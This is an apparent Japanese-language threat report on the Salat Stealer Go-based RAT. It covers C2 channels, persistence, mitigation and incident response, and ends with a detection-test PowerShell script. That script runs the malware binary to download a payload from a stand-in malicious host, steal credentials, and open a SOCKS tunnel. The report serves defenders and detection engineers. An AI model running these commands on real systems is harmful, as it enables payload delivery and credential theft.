Salat スティーラー分析: Go ベースの RAT、C2 レジリエンスと情報窃取能力

概要

Salat Stealerは、フル機能のポストエクスプロイトフレームワークとして機能するGoベースのリモートアクセス型トロイの木馬です。WebSocket、HTTP/2、HTTP/3、QUICなどの複数の通信チャネルをサポートしており、オペレーターに柔軟で耐障害性のあるコマンドアンドコントロールオプションを提供します。このマルウェアはブラウザデータ、暗号通貨ウォレット、キーストローク、スクリーンショット、さらにSOCKS5を通じたネットワークピボットを狙った広範なクレデンシャル窃取機能も含んでいます。再起動後も生存するために、隠しファイルのコピー、スケジュールされたタスク、Runレジストリキーを使用します。主要なインフラが遮断された場合、TONブロックチェーンを通じて更新されたコマンドアンドコントロールの詳細を取得することができます。

調査

この分析では、被害者のホスト名と組み合わせた静的文字列から暗号化キーを導出し、5つの埋め込まれたコマンドアンドコントロールURLを復号する方法について説明しています。研究者はまた、Salat Stealerがどのようにトランスポートプロトコルを選択し、オペレーターのコマンドを処理し、権限昇格を試み、ホスト上で複数の永続化メソッドを展開するかを記録しました。この報告書はさらに、盗まれたデータの範囲と攻撃者が利用可能な広範なリモートアクセス機能についても概説しています。

軽減策

防御者は、特定されたコマンドアンドコントロールURLへの接続や、未知の宛先への不意なQUICおよびWebSocketトラフィックを監視するべきです。セキュリティチームは、隠しスケジュールタスクや見覚えのない実行ファイルを指す怪しいRunキーエントリにも注意を払うべきです。アプリケーションの許可リスト化と厳格な実行制御は、Goベースのペイロードの実行を防ぐのに役立ちます。ネットワークのセグメンテーションとTLSの検査は、マルウェアに関連する疑わしいアウトバウンドトラフィックへの可視性をさらに向上させます。

対応

Salat Stealerの活動が検出された場合は、直ちに影響を受けたシステムを隔離し、メモリやディスクイメージを収集し、悪意のあるプロセスを終了させます。スケジュールされたタスク、Runキーエントリ、マルウェアが使用する隠しファイルのコピーを含むすべての永続化アーティファクトを削除します。特定されたコマンドアンドコントロールドメインはブロックされるべきで、バックアップインフラストラクチャの発見に使用されたTONブロックチェーンの検索も同様です。露出したクレデンシャルと暗号通貨ウォレットも直ちに変更または保護されるべきです。

シミュレーション実行

前提条件：テレメトリとベースラインプリフライトチェックが通過している必要があります。

理由：このセクションは、検出ルールをトリガーするために設計された敵の手法（TTP）の正確な実行を詳細に説明します。コマンドおよび説明文は、特定されたTTPと直接一致し、検出ロジックが期待する正確なテレメトリを生成することを目的としています。

• 攻撃の概要とコマンド：
  攻撃者は、フィッシングの添付ファイルを通じて被害者のホストにSalat RATバイナリ（salat.exe）を配信しました。低い特権の足場を確保した後、攻撃者は特定の引数でバイナリを実行して、以下を行います：

  1. 二次ペイロードをダウンロード – main.downloadFile https://malicious.example.com/payload.exe.
  2. 保存された資格情報を盗む – main.Steal -module credentials.
  3. 水平移動のためのピアツーピア SOCKS トンネルを確立 – main.p2pSocks -listen 1080 -remote 10.0.0.5:4444.

  バイナリは権限昇格要件を満たすために昇格されたPowerShellセッションから起動されます。各起動は、Sigmaルールと一致する対応するコマンドラインのSysmonプロセス作成として表示されます。

• 回帰テストスクリプト：

  # -------------------------------------------------
  # Salat RAT シミュレーションスクリプト – 検出をトリガー
  # -------------------------------------------------
  $binaryPath = "C:Tempsalat.exe"
  
  # バイナリが存在することを確認（プレースホルダー – 実際のテストではバイナリが事前に配置されている）
  if (-Not (Test-Path $binaryPath)) {
      Write-Error "Salat バイナリが $binaryPath に見つかりません"
      exit 1
  }
  
  # 1. 二次ペイロードのダウンロード
  Start-Process -FilePath $binaryPath -ArgumentList "main.downloadFile https://malicious.example.com/payload.exe" -Wait
  
  # 2. クレデンシャルを盗む
  Start-Process -FilePath $binaryPath -ArgumentList "main.Steal -module credentials" -Wait
  
  # 3. P2P SOCKS トンネルを開く
  Start-Process -FilePath $binaryPath -ArgumentList "main.p2pSocks -listen 1080 -remote 10.0.0.5:4444" -Wait
  
  Write-Host "シミュレーション完了。"

• クリーンアップコマンド：

  # -------------------------------------------------
  # Salat RAT シミュレーションのクリーンアップ
  # -------------------------------------------------
  # 残っている Salat プロセスを終了
  Get-Process -Name "salat" -ErrorAction SilentlyContinue | Stop-Process -Force
  
  # バイナリを削除（許可される場合）
  $binaryPath = "C:Tempsalat.exe"
  if (Test-Path $binaryPath) {
      Remove-Item $binaryPath -Force
      Write-Host "Removed $binaryPath"
  }
  
  # 関連するSysmonイベントをテストインデックスからオプションでクリア（Splunk例）
  # splunk cmd search '| delete index=main host="test-host" sourcetype="Sysmon" earliest=-24h latest=now'